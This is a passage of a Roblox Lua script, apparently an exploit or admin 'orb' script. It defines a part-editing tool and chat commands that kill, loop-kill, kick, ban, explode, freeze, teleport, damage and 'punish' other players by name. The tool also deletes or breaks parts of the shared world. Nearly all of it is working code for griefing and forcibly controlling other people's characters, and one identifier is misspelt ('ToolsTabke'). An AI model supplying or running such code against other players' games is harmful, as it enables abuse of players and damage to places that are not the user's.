- end
- end
- end
- end
- end
- end)
- end
- function achUp()
- ach_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- lso.Parent=nil
- end)
- end
- function colDown()
- col_downFunc=mouse.Button1Down:connect(function()
- md2=3
- if(md2==3)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- if(mouse.Target.CanCollide)then
- mouse.Target.CanCollide=false
- else
- mouse.Target.CanCollide=true
- end
- end
- end
- elseif(md1==2)then
- lvi=true
- lso.Parent=game.Workspace.CurrentCamera
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- if(md3==1)then
- mouse.Target.CanCollide=true
- elseif(md3==2)then
- mouse.Target.CanCollide=false
- end
- end
- end
- end
- end
- end
- end)
- end
- function colUp()
- col_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- lso.Parent=nil
- end)
- end
- function lckDown()
- lck_downFunc=mouse.Button1Down:connect(function()
- md2=4
- if(md2==4)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- if(mouse.Target.Locked)then
- mouse.Target.Locked=false
- else
- mouse.Target.Locked=true
- end
- end
- end
- elseif(md1==2)then
- lvi=true
- lso.Parent=game.Workspace.CurrentCamera
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- if(md3==1)then
- mouse.Target.Locked=true
- elseif(md3==2)then
- mouse.Target.Locked=false
- end
- end
- end
- end
- end
- end
- end)
- end
- function lckUp()
- lck_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- lso.Parent=nil
- end)
- end
- function brkDown()
- brk_downFunc=mouse.Button1Down:connect(function()
- md2=5
- if(md2==5)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- clr=false
- box.Color=BrickColor.new("Bright red")
- mouse.Target:BreakJoints()
- end
- end
- elseif(md1==2)then
- lvi=true
- lso.Parent=game.Workspace.CurrentCamera
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- mouse.Target:BreakJoints()
- cle=true
- else
- cle=true
- end
- else
- cle=false
- end
- end
- end
- end
- end)
- end
- function brkUp()
- brk_upFunc=mouse.Button1Up:connect(function()
- clr=true
- lvi=false
- cle=false
- end)
- end
- delDown()
- delUp()
- achDown()
- achUp()
- colDown()
- colUp()
- lckDown()
- lckUp()
- brkDown()
- brkUp()
- del.MouseButton1Click:connect(function()
- md2=1
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButtonDefault"
- del.Selected=true
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButton"
- brk.Selected=false
- delDown()
- delUp()
- end)
- ach.MouseButton1Click:connect(function()
- md2=2
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButtonDefault"
- ach.Selected=true
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButton"
- brk.Selected=false
- achDown()
- achUp()
- end)
- col.MouseButton1Click:connect(function()
- md2=3
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButtonDefault"
- col.Selected=true
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButton"
- brk.Selected=false
- colDown()
- colUp()
- end)
- lck.MouseButton1Click:connect(function()
- md2=4
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButtonDefault"
- lck.Selected=true
- brk.Style="RobloxButton"
- brk.Selected=false
- lckDown()
- lckUp()
- end)
- brk.MouseButton1Click:connect(function()
- md2=5
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButtonDefault"
- brk.Selected=true
- brkDown()
- brkUp()
- end)
- set.MouseButton1Click:connect(function()
- if(ste)then
- ste=false
- frs.Visible=false
- set.Style="RobloxButton"
- else
- ste=true
- frs.Visible=true
- set.Style="RobloxButtonDefault"
- end
- end)
- cls.MouseButton1Click:connect(function()
- ste=false
- frs.Visible=false
- set.Style="RobloxButton"
- end)
- ckb.MouseButton1Click:connect(function()
- md1=1
- ckb.Style="RobloxButtonDefault"
- ckb.Selected=true
- ckb.Text="Enabled"
- ckb.TextColor3=Color3.new(0,1,0)
- ryb.Style="RobloxButton"
- ryb.Selected=false
- ryb.Text="Disabled"
- ryb.TextColor3=Color3.new(1,0,0)
- end)
- ryb.MouseButton1Click:connect(function()
- md1=2
- ryb.Style="RobloxButtonDefault"
- ryb.Selected=true
- ryb.Text="Enabled"
- ryb.TextColor3=Color3.new(0,1,0)
- ckb.Style="RobloxButton"
- ckb.Selected=false
- ckb.Text="Disabled"
- ckb.TextColor3=Color3.new(1,0,0)
- end)
- rfb.MouseButton1Click:connect(function()
- if(md3==1)then
- md3=2
- rfb.Style="RobloxButton"
- rfb.Text="Disable Propertie"
- rfb.TextColor3=Color3.new(1,0,0)
- elseif(md3==2)then
- md3=1
- rfb.Style="RobloxButtonDefault"
- rfb.Text="Enable Propertie"
- rfb.TextColor3=Color3.new(0,1,0)
- end
- end)
- end)
- bin.Deselected:connect(function()
- clr=false
- if(box~=nil)then
- box:Destroy()
- end
- if(lso~=nil)then
- lso:Destroy()
- end
- if(gui~=nil)then
- gui:Destroy()
- end
- end)
- end
- -- Run chatEvent --
- iPrimaryChat=iOrb.Player.Chatted:connect(iOrbChat)
- -- Commands --
- iCmd.turn=function(boolean)
- if boolean=="true" or boolean==nil or boolean=="" then iOrb.Turn=true elseif boolean=="false" then iOrb.Turn=false end
- end
- iCmd.tena=function(boolean)
- if boolean=="true" or boolean==nil or boolean=="" then iOrb.Trail=true elseif boolean=="false" then iOrb.Trail=false end
- end
- iCmd.fena=function(boolean)
- if boolean=="true" or boolean==nil or boolean=="" then if iOrb.Fire~=nil then iOrb.Fire.Enabled=true end elseif boolean=="false" then if iOrb.Fire~=nil then iOrb.Fire.Enabled=false end end
- end
- iCmd.move=function(boolean)
- if boolean=="true" or boolean==nil or boolean=="" and not iOrb.Move then iOrb.Move=true elseif boolean=="false" then iOrb.Move=false end
- end
- iCmd.fchange=function(boolean)
- if boolean=="true" or boolean==nil or boolean=="" then iOrb.FireColorChange=true elseif boolean=="false" then iOrb.FireColorChange=false end
- end
- iCmd.localorb=function(boolean) if not iOrb.Orbed then
- if boolean=="true" or boolean==nil or boolean=="" then iOrb.LocalOrb=true if not iOrb.Orbed then iOrb.OrbParent=game.Workspace.CurrentCamera end iOrb.LoadAnimation=false iOrb.CreateOrb=false wait() iRemoveOrb(iOrb.DefaultParent) wait(.1) iOrb.LoadAnimation=true wait() iOrb.CreateOrb=true elseif boolean=="false" then if not iOrb.Orbed then iOrb.OrbParent=iOrb.DefaultParent end iOrb.LocalOrb=false iOrb.LoadAnimation=false iOrb.CreateOrb=false wait() iRemoveOrb(game.Workspace.CurrentCamera) wait(.1) iOrb.LoadAnimation=true wait() iOrb.CreateOrb=true end
- end end
- iCmd.particles=function(boolean)
- if boolean=="true" or boolean==nil or boolean=="" then iOrb.Particles=true elseif boolean=="false" then iOrb.Particles=false end
- end
- iCmd.rotspeed=function(number)
- if tonumber(number,10) then iOrb.RotSpeed=tonumber(number,10) iOrb.RotCoef=tonumber(number,10) end
- end
- iCmd.levirise=function(number)
- if tonumber(number,10) then iOrb.LeviRise=tonumber(number,10) end
- end
- iCmd.levispeed=function(number)
- if tonumber(number,10) then iOrb.LeviSpeed=tonumber(number,10) end
- end
- iCmd.tsize=function(number)
- if tonumber(number,10) then iOrb.TSize=tonumber(number,10) end
- end
- iCmd.fsize=function(number)
- if tonumber(number,10) then if iOrb.Fire~=nil then iOrb.Fire.Size=tonumber(number,10) end end
- end
- iCmd.fheat=function(number)
- if tonumber(number,10) then if iOrb.Fire~=nil then iOrb.Fire.Heat=tonumber(number,10) end end
- end
- iCmd.x=function(number)
- if tonumber(number,10) then iOrb.BaseX=tonumber(number,10) end
- end
- iCmd.y=function(number)
- if tonumber(number,10) then iOrb.BaseY=tonumber(number,10) end
- end
- iCmd.z=function(number)
- if tonumber(number,10) then iOrb.BaseZ=tonumber(number,10) end
- end
- iCmd.kill=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- if v.Character~=nil then
- v.Character:BreakJoints()
- end
- end
- end
- iCmd.kl=function(player) iCmd.kill(player) end
- iCmd.loopkill=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- table.insert(iLkl,tostring(v))
- end
- end
- iCmd.lkl=function(player) iCmd.loopkill(player) end
- iCmd.unloopkill=function(player) player=iGetPlayer(player)
- for _,v in pairs(player) do
- for i,t in pairs(iLkl) do
- if tostring(v):match(t) then table.remove(iLkl,i) end
- end
- end
- end
- iCmd.unlkl=function(player) iCmd.unloopkill(player) end
- iCmd.kick=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- local obj=Instance.new("ObjectValue",game.Players) obj.Name=v.Name v:Destroy()
- end
- end
- iCmd.banlist=function()
- for _,v in pairs(iBan) do
- iOrb.runmsg=true iTypeMsg(tostring(v):sub(1,i),1) iOrb.runmsg=false
- end
- end
- iCmd.ban=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- table.insert(iBan,v) local obj=Instance.new("ObjectValue",game.Players) obj.Name=v.Name v:Destroy()
- end
- end
- iCmd.unban=function(player) plrb=iGetPlayer(player)
- for _,v in pairs(plrb) do
- for i,t in pairs(iBan) do
- if tostring(v):match(t) then table.remove(iBan,i) end
- end
- end
- for _,v in pairs(iBan) do if player~=nil or player~="" or player~="all" then
- if string.lower(tostring(v):sub(1,player:len()))==player:lower() then
- table.remove(iBan,_) if game.Players:FindFirstChild(v) then if game.Players:FindFirstChild(v):IsA("ObjectValue") then game.Players:FindFirstChild(v):remove() end end
- end
- elseif player==nil or player=="" or player=="all" then table.remove(iBan,_) if game.Players:FindFirstChild(v):IsA("ObjectValue") then game.Players:FindFirstChild(v):remove() end end end
- end
- iCmd.orb=function() if not iOrb.Orbed and game.Players.LocalPlayer~=nil then
- iOrb.Player.Character.Archivable=true
- iOrb.CharacterClone = iOrb.Player.Character:clone()
- iOrb.CreateOrb=false iOrb.Orbed=true iOrb.LocalOrb=false iOrb.sCmdExecution=false iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) wait(.05) iOrb.Name=iOrb.OrbedName wait() iOrb.CreateOrb=true
- end end
- iCmd.char=function() if iOrb.Orbed and game.Players:FindFirstChild(iOrb.PlayerName) then if not game.Players:FindFirstChild(iOrb.PlayerName):IsA("ObjectValue") then wait()
- local currentOrbPosition = iOrb.Orb.CFrame
- iOrb.CreateOrb=false iOrb.Orbed=false iOrb.LocalOrb=false iOrb.sCmdExecution=true iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) iRemoveOrb(game.Workspace) iOrb.Name=iOrb.OrbName iBackupsCmd() wait()
- iOrb.CharacterClone.Parent=game.Workspace
- iOrb.Player.Character = iOrb.CharacterClone
- if iOrb.CharacterClone:FindFirstChild("Animate") then
- iOrb.CharacterClone.Animate.Disabled = true
- wait()
- iOrb.CharacterClone.Animate.Disabled = false
- end
- repeat wait() until game.Players.LocalPlayer.Character~=nil and game.Players.LocalPlayer.Character:FindFirstChild("Torso") and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") and game.Players.LocalPlayer.Character.Humanoid.Health > 0 iOrb.CharacterClone:FindFirstChild("Torso").CFrame=CFrame.new(currentOrbPosition.p) iOrb.CharacterClone.Archivable=false iOrb.CharacterClone=nil iOrb.CreateOrb=true iOrb.Move=true
- end end end
- iCmd.fly=function() if not iOrb.Orbed then
- if iOrb.Player ~= nil then
- if iOrb.Player.Character ~= nil then
- iStriker()
- end
- end
- end end
- iCmd.ff=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright blue")
- for _,v in pairs(player) do
- if v.Character~=nil then
- Instance.new("ForceField",v.Character)
- end
- end
- end
- iCmd.explode=function(player)
- if iOrb.Orbed and iOrb.Orb~=nil and player=="me" then
- local boom=Instance.new("Explosion",iOrb.Orb)
- boom.Position=iOrb.Orb.CFrame.p
- boom.ExplosionType=2
- else
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- local boom=Instance.new("Explosion",v.Character.Torso)
- boom.Position=v.Character.Torso.CFrame.p
- boom.ExplosionType=2
- end
- end
- end
- end
- end
- iCmd.expl=function(player) iCmd.explode(player) end
- iCmd.tower=function(player,height,duration)
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- if v == iOrb.Player and iOrb.Orbed then else
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- coroutine.wrap(function()
- local heightValue = nil
- local part = Instance.new("Part",game.Workspace)
- part.Name = "iTower"
- part.Anchored = true
- part.Locked = true
- part.CanCollide = true
- part.FormFactor = Enum.FormFactor.Custom
- part.Material = Enum.Material.Concrete
- part.BottomSurface="Smooth"
- part.TopSurface="Smooth"
- part.BrickColor = BrickColor.new("Medium stone grey")
- part.Size = Vector3.new(10,.2,10)
- part.CFrame = v.Character.Torso.CFrame * CFrame.new(0,-2.5,0)
- if height == "" or tonumber(height) <= 0 or height == nil then heightValue = 30
- else heightValue = tonumber(height) end
- for i = part.Size.y, heightValue, .25 do wait()
- local currentPos = part.CFrame
- part.Size = Vector3.new(10,i,10)
- part.CFrame = currentPos * CFrame.new(0,.25/2,0)
- end
- coroutine.wrap(function()
- local durationValue = nil
- if duration == "" or duration == nil or tonumber(duration) > 120 or tonumber(duration) <= 0 then durationValue = 15
- else durationValue = tonumber(duration) end
- wait(durationValue)
- if part ~= nil and part.Parent == game.Workspace then
- for i = part.Size.y, .2, -.25 do wait()
- pcall(function()
- local currentPos = part.CFrame
- part.Size = Vector3.new(10,i,10)
- part.CFrame = currentPos * CFrame.new(0,-.25/2,0)
- end)
- end
- pcall(function() part:remove() end)
- end
- end)()
- end)()
- end
- end
- end
- end
- end
- iCmd.respawn=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright blue")
- for _,v in pairs(player) do coroutine.resume(coroutine.create(function()
- if v==game.Players.LocalPlayer and iOrb.Orbed then return end
- local model=Instance.new("Model",game.Workspace)
- local humanoid=Instance.new("Humanoid",model)
- local head=Instance.new("Part",model)
- head.Anchored=true
- head.Locked=true
- head.CanCollide=true
- head.Transparency=1
- head.CFrame=CFrame.new(0,100000,0)
- head.Name="Torso"
- head.FormFactor="Custom"
- head.Size=Vector3.new(.2,.2,.2)
- model.Name=""
- humanoid.MaxHealth=math.huge
- v.Character=model wait(.1)
- if v==game.Players.LocalPlayer then iOrb.runmsg=true iTypeMsg("Respawning. Please wait...",3) iOrb.runmsg=false end end))
- end
- end
- iCmd.resp=function(player) iCmd.respawn(player) end
- iCmd.punish=function(player)
- player=iGetPlayer(tostring(player))
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- if v.Character~=nil then
- v.Character.Parent=game:GetService("Debris")
- end
- end
- end
- iCmd.pun=function(player) iCmd.punish(player) end
- iCmd.unpunish=function(player)
- player=iGetPlayer(tostring(player))
- iPCmd(player,"Camo")
- for _,v in pairs(player) do
- if v.Character~=nil then
- for i,p in pairs(game:GetService("Debris"):GetChildren())do
- if p:IsA("Model") and game.Players:FindFirstChild(p.Name) then
- p.Parent=game.Workspace
- p:MakeJoints()
- end
- end
- end
- end
- end
- iCmd.unpun=function(player) iCmd.unpunish(player) end
- iCmd.unff=function(player)
- player=iGetPlayer(tostring(player))
- iPCmd(player,"Bright blue")
- for _,v in pairs(player) do
- if v.Character~=nil then
- for _,e in pairs(v.Character:GetChildren())do
- if e:IsA("ForceField") then
- e:remove()
- end
- end
- end
- end
- end
- iCmd.skydive=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright blue")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- coroutine.resume(coroutine.create(function() for i=1,26,1 do wait() v.Character.Torso.CFrame=CFrame.new(0,1000,0) end end))
- end
- end
- end
- end
- iCmd.tp=function(player,player2)
- player=iGetPlayer(player)
- player2=iGetPlayer(player2)
- coroutine.resume(coroutine.create(iPCmd),player,"Bright blue")
- iPCmd(player2,"Bright blue")
- for _,v in pairs(player) do
- for i,v2 in pairs(player2) do if v~=v2 then
- if v.Character~=nil and v2.Character~=nil then
- if v.Character:FindFirstChild("Torso") and v2.Character:FindFirstChild("Torso") then
- coroutine.resume(coroutine.create(function() for i=1,26,1 do wait() v.Character.Torso.CFrame=CFrame.new(v2.Character.Torso.CFrame.p)*CFrame.new(Vector3.new(0,6,0)) end end))
- end
- end
- end end
- end
- end
- iCmd.tele=function(player,player2) iCmd.tp(player,player2) end
- iCmd.teleport=function(player,player2) iCmd.tp(player,player2) end
- iCmd.teletoorb=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright blue")
- for _,v in pairs(player) do
- if v.Character~=nil and iOrb.Orb~=nil then
- if v.Character:FindFirstChild("Torso") then
- coroutine.resume(coroutine.create(function() for i=1,26,1 do wait() v.Character.Torso.CFrame=iOrb.Orb.CFrame*CFrame.new(0,4,0) end end))
- end
- end
- end
- end
- iCmd.tto=function(player) iCmd.teletoorb(player) end
- iCmd.grab=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Magenta")
- for _,v in pairs(player) do
- table.insert(iGrb,v)
- end
- end
- iCmd.release=function(player)
- player=iGetPlayer(player)
- for _,v in pairs(player) do
- for i,pl in pairs(iGrb) do
- if pl==v then table.remove(iGrb,i)
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- v.Character.Torso.Anchored=false
- if iOrb.Orb~=nil then
- v.Character.Torso.CFrame=iOrb.Orb.CFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- elseif game.Workspace.CurrentCamera~=nil then
- v.Character.Torso.CFrame=game.Workspace.CurrentCamera.CoordinateFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- end
- end
- if v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed=16
- v.Character.Humanoid.PlatformStand=false
- end
- function getParts(path)
- for _,pl in pairs(path:GetChildren())do
- if pl:IsA("BasePart") or v:IsA("Decal") then
- pl.Transparency=0
- end getParts(pl)
- end
- end getParts(v.Character)
- end
- end
- end
- end
- end
- iCmd.drop=function(player) iCmd.release(player) end
- iCmd.renew=function() if iOrb.Orb~=nil then
- iOrb.LoadAnimation=false wait() iOrb.CreateOrb=false wait() iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) if iOrb.Orbed then iRemoveOrb(game.Workspace) end wait(.1) iOrb.CreateOrb=true wait() iOrb.LoadAnimation=true
- end end
- iCmd.nogravity=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright yellow")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- local grav = Instance.new("BodyForce")
- grav.force=Vector3.new(0,2500,0)
- for i,b in pairs(v.Character.Torso:GetChildren())do if b:IsA("BodyForce") then b:remove() end end grav.Parent = v.Character.Torso
- end
- end
- end
- end
- iCmd.nograv=function(player) iCmd.nogravity(player) end
- iCmd.setgrav=function(player,number)
- player=iGetPlayer(player)
- iPCmd(player,"Bright yellow")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if tonumber(number,10) and v.Character:FindFirstChild("Torso") then
- local grav = Instance.new("BodyForce")
- grav.force=Vector3.new(0,-10*tonumber(number,10),0)
- for i,b in pairs(v.Character.Torso:GetChildren())do if b:IsA("BodyForce") then b:remove() end end grav.Parent = v.Character.Torso
- end
- end
- end
- end
- iCmd.setgravity=function(player,number) iCmd.setgrav(player,number) end
- iCmd.gravity=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Bright yellow")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- for i,b in pairs(v.Character.Torso:GetChildren())do if b:IsA("BodyForce") then b:remove() end end
- end
- end
- end
- end
- iCmd.grav=function(player) iCmd.gravity(player) end
- iCmd.walkspeed=function(player,number)
- player=iGetPlayer(player)
- iPCmd(player,"Bright yellow")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if tonumber(number,10) and v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed=tonumber(number,10)
- end
- end
- end
- end
- iCmd.ws=function(player,number) iCmd.walkspeed(player,number) end
- iCmd.sit=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Grime")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.Sit=true
- end
- end
- end
- end
- iCmd.jump=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Grime")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.Jump=true
- end
- end
- end
- end
- iCmd.platformstand=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Grime")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand=true
- end
- end
- end
- end
- iCmd.ps=function(player) iCmd.platformstand(player) end
- iCmd.heal=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Camo")
- for _,v in pairs(player) do
- if v.Character~=nil then coroutine.resume(coroutine.create(function()
- if v.Character:FindFirstChild("Humanoid") then
- for i=1, 26, 1 do wait()
- v.Character.Humanoid.Health=v.Character.Humanoid.MaxHealth
- end
- end
- end)) end
- end
- end
- iCmd.undead=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Camo")
- for _,v in pairs(player) do
- if v.Character~=nil then coroutine.resume(coroutine.create(function()
- if v.Character:FindFirstChild("Humanoid") then
- for i=1, 26, 1 do wait()
- v.Character.Humanoid.MaxHealth=math.huge
- v.Character.Humanoid.Health=math.huge
- end
- end
- end)) end
- end
- end
- iCmd.sethealth=function(player,number) if tonumber(number,10) then
- player=iGetPlayer(player)
- iPCmd(player,"Camo")
- for _,v in pairs(player) do
- if v.Character~=nil then coroutine.resume(coroutine.create(function()
- if v.Character:FindFirstChild("Humanoid") then
- for i=1, 26, 1 do
- v.Character.Humanoid.MaxHealth=tonumber(number,10) wait()
- v.Character.Humanoid.Health=tonumber(number,10)
- end
- end
- end)) end
- end
- end end
- iCmd.find=function(player)
- player=iGetPlayer(player) iPCmd(player,"White")
- end
- iCmd.damage=function(player,number)
- player=iGetPlayer(player)
- iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if tonumber(number,10) and v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.Health=v.Character.Humanoid.Health-tonumber(number,10)
- end
- end
- end
- end
- iCmd.dmg=function(player,number) iCmd.damage(player,number) end
- iStr.rename=function(string) if iOrb.Model~=nil then if string:len() > 60 then if iOrb.Orbed then
- iOrb.Name=iOrb.PlayerName.." : "..string:sub(1,60) iOrb.Model.Name=iOrb.PlayerName.." : "..string:sub(1,60) else iOrb.Name=string:sub(1,60) iOrb.Model.Name=string:sub(1,60) end elseif string:len() <= 60 and string:len() > 0 then if iOrb.Orbed then iOrb.Name=iOrb.PlayerName.." : "..string iOrb.Model.Name=iOrb.PlayerName.." : "..string else iOrb.Name=string iOrb.Model.Name=string end elseif string==nil or string:len()==0 then if iOrb.Orbed then iOrb.Name=iOrb.PlayerName iOrb.Model.Name=iOrb.PlayerName else iOrb.Name="" iOrb.Model.Name="" end end
- end end
- iStr.setname=function(string)
- if iOrb.Player~=nil then
- if iOrb.Player.Character~=nil then
- local ToolsTable= {}
- local CharTool = nil
- for index, tool in pairs(iOrb.Player.Character:GetChildren()) do
- if tool:IsA("Tool") then
- tool.Parent = nil
- CharTool = tool
- end
- end
- for index, tool in pairs(iOrb.Player.Backpack:GetChildren()) do
- tool.Parent = nil
- table.insert(ToolsTable, tool)
- end
- iOrb.Player.Character.Archivable = true
- iOrb.CharacterClone = iOrb.Player.Character:Clone()
- iOrb.CharacterClone.Name = string
- iOrb.CharacterClone.Archivable = false
- iOrb.CharacterClone.Parent = game.Workspace
- iOrb.Player.Character = iOrb.CharacterClone
- if iOrb.CharacterClone:FindFirstChild("Animate") then
- iOrb.CharacterClone.Animate.Disabled = true
- wait()
- iOrb.CharacterClone.Animate.Disabled = false
- end
- iOrb.CharacterClone.Archivable = false
- iOrb.CharacterClone = nil
- wait(.1)
- if CharTool ~= nil then
- CharTool.Parent = iOrb.Player.Character
- end
- for index, tool in pairs(ToolsTabke) do
- tool.Parent = iOrb.Player.Backpack
- end
- end
- end
- end
- iStr.sn=function(string) iStr.setname(string) end
- iCmd.freeze=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Teal")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function freeze(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("BasePart") then
- v.Anchored=true
- end freeze(v)
- end end freeze(v.Character)
- if v.Character:FindFirstChild("Torso") then v.Character.Torso.CFrame=v.Character.Torso.CFrame*CFrame.new(Vector3.new(0,1.5,0)) v.Character.Torso.Transparency=1 end
- if v.Character:FindFirstChild("Humanoid") then v.Character.Humanoid.WalkSpeed=0 end
- end
- end
- end
- iCmd.unfreeze=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Teal")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function freeze(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("BasePart") then
- v.Anchored=false
- end freeze(v)
- end end freeze(v.Character)
- if v.Character:FindFirstChild("Torso") then v.Character.Torso.Transparency=0 end
- if v.Character:FindFirstChild("Humanoid") then v.Character.Humanoid.WalkSpeed=16 end
- end
- end
- end
- iCmd.thaw=function(player) iCmd.unfreeze(player) end
- iCmd.lock=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Alder")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function freeze(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("BasePart") then
- v.Locked=true
- end freeze(v)
- end end freeze(v.Character)
- end
- end
- end
- iCmd.unlock=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Pastel violet")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function freeze(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("BasePart") then
- v.Locked=false
- end freeze(v)
- end end freeze(v.Character)
- end
- end
- end
- iCmd.hide=function() if iOrb.Orb~=nil then
- iOrb.Fire.Enabled=false iOrb.Particles=false iOrb.Trail=false iOrb.Orb.Transparency=1
- end end
- iCmd.show=function() if iOrb.Orb~=nil then
- iOrb.Fire.Enabled=true iOrb.Particles=true iOrb.Trail=true iOrb.Orb.Transparency=0
- end end
- iCmd.invisible=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Royal purple")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v==iOrb.Player then if not iOrb.Orbed then iCmd.hide('') end end
- function visi(path)
- for _,v in pairs(path:GetChildren())do
